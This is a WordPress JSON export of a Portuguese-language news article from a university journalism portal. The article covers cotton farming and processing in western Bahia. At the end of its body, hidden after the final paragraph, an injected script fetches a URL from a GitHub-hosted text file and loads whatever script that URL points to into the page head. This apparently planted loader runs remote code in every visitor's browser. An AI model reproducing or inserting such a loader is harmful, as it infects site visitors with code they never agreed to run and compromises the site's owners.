{"id":310,"date":"2022-09-16T23:03:33","date_gmt":"2022-09-17T02:03:33","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=310"},"modified":"2024-10-07T15:24:31","modified_gmt":"2024-10-07T18:24:31","slug":"a-ciencia-para-o-algodao-a-importancia-de-um-processo-de-pesquisa-para-melhorar-a-producao","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=310","title":{"rendered":"A ci\u00eancia para o algod\u00e3o: a import\u00e2ncia de um processo de pesquisa para melhorar a produ\u00e7\u00e3o"},"content":{"rendered":"<p>Por\u00a0L\u00edvia Borges<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Quem planta algod\u00e3o, planta qualquer coisa. Mas quem planta qualquer coisa n\u00e3o planta algod\u00e3o&#8221;<\/p>\n<p><em>J\u00falio C\u00e9zar Busato, Presidente da Abrapa e produtor associado da Abapa.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-311 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3-1024x683.jpeg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3-1024x683.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-3.jpeg 1125w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Foto: Abapa &#8211; Associa\u00e7\u00e3o Baiana de Produtores de Algod\u00e3o<\/p>\n<p>&nbsp;<\/p>\n<p>O Brasil \u00e9 um dos maiores exportadores de algod\u00e3o do mundo junto com os Estados Unidos, \u00cdndia e Paquist\u00e3o. A Bahia fica em segundo lugar como maior produtora do pa\u00eds. Do algod\u00e3o tudo \u00e9 aproveitado, desde o caro\u00e7o, a casca do caro\u00e7o, o l\u00ednter e, principalmente, sua fibra longa natural, que possui alta procura comercial. A ind\u00fastria desses produtos movimenta a economia mundial, a fibra e derivados como l\u00ednter est\u00e3o entre um dos produtos mais importantes para diversos segmentos como o da tecnologia e ind\u00fastria t\u00eaxtil.<\/p>\n<p>A cultura do algod\u00e3o (Cotonicultura) iniciou no Oeste da Bahia na d\u00e9cada 1990, ap\u00f3s a perda de planta\u00e7\u00f5es de algod\u00e3o nas regi\u00f5es como Maranh\u00e3o, Cear\u00e1, Pernambuco e Par\u00e1, onde tinha as maiores produ\u00e7\u00f5es do Brasil. A presen\u00e7a do algod\u00e3o na Bahia se destacou na regi\u00e3o do Cerrado e deu uma nova dire\u00e7\u00e3o para a trajet\u00f3ria do algod\u00e3o no pa\u00eds, superando as perdas dessa cultura em grandes \u00e1reas do sudoeste com Minas Gerais e S\u00e3o Paulo.<\/p>\n<p>A perda de grandes lavouras para a praga chamada Bicudo-do-algodoeiro, fez com que os produtores migrassem para outras regi\u00f5es e se uniram para combater o temido inseto. Buscaram investir em recursos tecnol\u00f3gicos e pesquisa de ponta, para enfrentarem os desafios da produ\u00e7\u00e3o. O resultado dessa uni\u00e3o foi o desenvolvimento da cotonicultura e o crescimento para as cidades que fazem parte da regi\u00e3o Oeste da Bahia. Paralelo com o crescimento do agroneg\u00f3cio, outros investimentos e neg\u00f3cios foram sendo implantados, com uma forte gera\u00e7\u00e3o de empregos e renda, principalmente nos munic\u00edpios de Lu\u00eds Eduardo Magalh\u00e3es e Barreiras.<\/p>\n<p>A rede de comunica\u00e7\u00e3o feita pelas associa\u00e7\u00f5es dos Estados produtores de algod\u00e3o em parceria com a Abrapa (Associa\u00e7\u00e3o Brasileira dos Produtores de Algod\u00e3o) aprofundou os investimento em pesquisa e desenvolvimento no ciclo de produ\u00e7\u00e3o e combate das pragas comuns ao plantio da cotonicultura. A partir dessas a\u00e7\u00f5es, o Brasil entrou na safra de 2003\/2004, e recuperou novamente o t\u00edtulo de um dos maiores produtores do mundo, superando o per\u00edodo de uma intensa importa\u00e7\u00e3o do produto, para manter as f\u00e1bricas internas, que dependiam da produ\u00e7\u00e3o algodoeira que foi perdida anteriormente.<\/p>\n<p>O plantio dessas novas mudas de algod\u00e3o a partir da aplica\u00e7\u00e3o de novas t\u00e9cnicas e novos conhecimentos adquiridos com altos investimentos em pesquisas e tecnologias, qualificaram a agricultura familiar e os produtores de algod\u00e3o. Essas medidas geraram o in\u00edcio de uma rede de compartilhamento de informa\u00e7\u00f5es com outros produtores e a otimiza\u00e7\u00e3o dos defensivos agr\u00edcolas e do solo, foi um passo importante para os produtores terem melhores condi\u00e7\u00f5es de desenvolvimento das lavouras de algod\u00e3o.<\/p>\n<p>Para plantar algod\u00e3o de maneira correta e com rendimento, o processo \u00e9 delicado e o investimento para o melhoramento deve ser recorrente. Os efeitos do investimento em tecnologias, duplicou a produ\u00e7\u00e3o e diminuiu a \u00e1rea plantada, como era antes da praga Bicudo. O algod\u00e3o tem uma \u00e1rea plantada seis vezes menor que a da soja, mas o seu rendimento chega a metade do valor rent\u00e1vel por ano, isso aponta como essa \u00e1rea da agricultura tem forte poder econ\u00f4mico para o pa\u00eds. Al\u00e9m de crescimento e expans\u00e3o da produ\u00e7\u00e3o, a tecnologia ajudou a aumentar a conserva\u00e7\u00e3o do Meio Ambiente, chegando a 35% de \u00e1reas preservadas nas fazendas, mantendo o Cerrado de p\u00e9.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Planta\u00e7\u00e3o e Manejo <\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>O planejamento de produ\u00e7\u00e3o do algod\u00e3o come\u00e7a com o solo e seu manejo. Quando os primeiros produtores chegaram no solo do Oeste baiano, foi comprovado ap\u00f3s pesquisas que era um solo pobre de nutrientes e mat\u00e9ria org\u00e2nica. O bioma da regi\u00e3o formado pelo Cerrado, um solo j\u00e1 antigo, \u00e9 bastante explorado por a\u00e7\u00f5es clim\u00e1ticas, retirando assim a cobertura de fertilidade e mat\u00e9rias org\u00e2nicas do solo. Segundo o Prof. Jorge da Silva, da Universidade do Estado da Bahia \u2013 UNEB, \u201co solo da regi\u00e3o cont\u00e9m apenas 1% de mat\u00e9ria org\u00e2nica\u201d.<\/p>\n<p>Investimento em fertiliza\u00e7\u00e3o do solo e o in\u00edcio do manejo de rota\u00e7\u00e3o de culturas, devolve ao solo produtividade e qualidade. A rota\u00e7\u00e3o de culturas incentivou o plantio na grama das mudas, em terras onde se planta a soja, o milho e o capim. Esse modo de manejo, refere-se \u00e0 rota\u00e7\u00e3o ordenada de diferentes variedades de culturas em um determinado per\u00edodo do ano, na mesma regi\u00e3o e na mesma esta\u00e7\u00e3o. Dessa forma, pragas e doen\u00e7as decorrentes da altern\u00e2ncia de esp\u00e9cies de plantas hospedeiras s\u00e3o evitadas e o solo se regenera. Com solos claros e mais f\u00e9rteis, o algod\u00e3o sai mais branco e com fibras melhores, aumentando assim sua procura.<\/p>\n<p>Junto ao uso da rota\u00e7\u00e3o de culturas para combater variadas pragas comuns no clima tropical, as quais se reproduzem com mais facilidade, pode-se fazer o uso de biof\u00e1bricas nas fazendas. As biof\u00e1bricas s\u00e3o estruturas de produ\u00e7\u00e3o e laborat\u00f3rios que produzem microrganismos, como mudas de plantas, bact\u00e9rias ou fungos, para controle biol\u00f3gico de pragas, indutores de resist\u00eancia e estimulantes de plantas.<\/p>\n<p>A lavoura do algod\u00e3o do Oeste, ap\u00f3s o beneficiamento do solo tamb\u00e9m depende da esta\u00e7\u00e3o de chuva para se desenvolver. Assim, a t\u00e9cnica usada para a planta\u00e7\u00e3o do algod\u00e3o \u00e9 o regime de sequeiro, que segundo dados da Abapa, no sequeiro \u00e9 utilizado em m\u00e9dia de 258,5 mil hectares plantados de algod\u00e3o, e o irrigado \u00e9 de apenas 50,5 mil hectares. As mudas v\u00e3o para o solo no per\u00edodo de chuvas, que ocorre entre outubro e abril, podendo ser mais curta ou espa\u00e7ada, ocorrendo um monitoramento regular para se ter um controle de quando \u00e9 feito a planta\u00e7\u00e3o no solo, e quantas toneladas de algod\u00e3o s\u00e3o colhidas no per\u00edodo de seca.<\/p>\n<p>A colheita das flores de algod\u00e3o, s\u00e3o feitas por colheitadeiras e s\u00e3o produzidas bobinas gigantes de algod\u00e3o, que s\u00e3o transportados em caminh\u00f5es com a capacidade de 14 rolos, em seguida levadas para as algodoeiras para serem beneficiadas, separando as fibras do caro\u00e7o do algod\u00e3o. O m\u00eas de julho \u00e9 o per\u00edodo em que se inicia o beneficiamento do algod\u00e3o. Desde a fazenda at\u00e9 a algodoeira, a comunica\u00e7\u00e3o \u00e9 muito detalhada e espec\u00edfica sobre cada lote que se recebe, pois conta com informa\u00e7\u00f5es da hora colhida, o hectare de colheita, se a m\u00e1quina que esteve em contato quebrou por causa do risco de pe\u00e7as dentro dele, considerando assim o seu armazenamento e beneficiamento.<\/p>\n<p>O armazenamento do algod\u00e3o na algodoeira tem regras e cuidados para serem seguidos quando chegam ao p\u00e1tio da f\u00e1brica, para se manter a qualidade e seguran\u00e7a no processo. Segundo Alessandra Zanotto, administradora da Algodoeira Zanotto Cotton, informou que \u201cesse armazenamento, em forma de fileiras com esse espa\u00e7amento, tem toda uma l\u00f3gica de seguran\u00e7a, para evitar risco de inc\u00eandio, e tamb\u00e9m para facilitar a mobilidade das m\u00e1quinas que pega esse rolinho, levando at\u00e9 a m\u00e1quina l\u00e1 dentro. Ent\u00e3o todo esse formato, essa forma que voc\u00eas veem os rolinhos seguem todo um planejamento e uma ordem que facilite tamb\u00e9m nosso trabalho. A gente n\u00e3o pode colocar de qualquer jeito\u201d.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-313 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2532-1024x683.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2532-1024x683.jpg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2532-300x200.jpg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2532-768x512.jpg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2532-264x175.jpg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2532-570x380.jpg 570w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>P\u00e1tio da Algodoeira Zanotto Cotton. Alessandra Zanotto apresenta a algodoeira. Foto: Abapa.<\/p>\n<p>A regi\u00e3o por ser muito seca, o ar retira muita umidade do algod\u00e3o e o solo produz muita poeira, a alternativa para garantir que o algod\u00e3o seja protegido \u00e9 molhar o solo v\u00e1rias vezes ao dia, sendo o \u00fanico momento que se utiliza \u00e1gua nesse beneficiamento. A chegada e sa\u00edda do processo de beneficiamento \u00e9 r\u00e1pido, se leva primeiro a uma m\u00e1quina ao qual separa o algod\u00e3o da casca, que \u00e9 descartada fora do espa\u00e7o do galp\u00e3o da f\u00e1brica, o nome dado a ela \u00e9 o de piranha. Ap\u00f3s isso se leva a m\u00e1quina onde separa a fibra do caro\u00e7o e l\u00ednter. Essa fibra \u00e9 catalogada em tipos, ap\u00f3s ir para o centro de an\u00e1lise de fio, que seleciona a qualidade do fio e para qual destino ser\u00e1 sua produ\u00e7\u00e3o.<\/p>\n<p>A qualidade do fio \u00e9 catalogada por tipos e quantidade de fios, desde do de baixa qualidade para fazer cal\u00e7as jeans e outros materiais at\u00e9 os melhores, usados para exporta\u00e7\u00e3o e tecidos de alta qualidade, o que aumenta a maciez e o luxo das roupas. Esses tipos e caracter\u00edsticas da fibra s\u00e3o designados pelo centro de an\u00e1lise, que trabalha junto com a algodoeira para garantir a qualidade da fibra branca do algod\u00e3o.<\/p>\n<p>O Centro de An\u00e1lise \u00e9 considerado como o maior da Am\u00e9rica Latina, fica localizado em Lu\u00eds Eduardo Magalh\u00e3es, tem a capacidade para receber 18 mil amostras de algod\u00e3o por dia, fazendo a an\u00e1lise e cataloga\u00e7\u00e3o visual e HVI das fibras, de maneira segura e totalmente monitorada desde a temperatura do ambiente de trabalho, o cuidado com contamina\u00e7\u00e3o, at\u00e9 o momento de entrega dos resultados da an\u00e1lise.<\/p>\n<p>Linter, o resto do algod\u00e3o que sobrou envolvendo o caro\u00e7o tem o destino e o uso vai para os mais variados tipos de produtos, sendo usado em ind\u00fastrias tecnol\u00f3gicas, desde a tela do celular e baterias, at\u00e9 o cotonete, a roupa hospitalar, algod\u00e3o de farm\u00e1cia e pano de ch\u00e3o. O uso \u00e9 variado e est\u00e1 presente no cotidiano da popula\u00e7\u00e3o.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-312 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-1024x683.jpeg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-1024x683.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-22.51.17.jpeg 1125w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Foto: Abapa.<\/p>\n<p>O caro\u00e7o e a casca, tem um destino diferente. A casca \u00e9 utilizada para a f\u00e1brica de ra\u00e7\u00e3o e o caro\u00e7o faz \u00f3leo vegetal de consumo humano. Armazenado em galp\u00f5es, o caro\u00e7o come\u00e7a pelo manejo de retirar o l\u00ednter, passa pelo moedor onde se retira o \u00f3leo e \u00e9 transformando junto com a casca em torta e farelo, alimentos para bois, ovelhas e outros animais.<\/p>\n<p>A pesquisa e a ci\u00eancia foram importantes para o desenvolvimento de meios que produzissem um produto com qualidade, rastreabilidade e sustentabilidade. O algod\u00e3o \u00e9 uma fibra importante para a economia, os seus usos s\u00e3o t\u00e3o variados que muitas vezes as pessoas ficam surpresas ao saber onde pode ser encontrado, por isso \u00e9 importante saber de onde vem, sua qualidade e hist\u00f3ria.<\/p>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por\u00a0L\u00edvia Borges &nbsp; &#8220;Quem planta algod\u00e3o, planta qualquer coisa. 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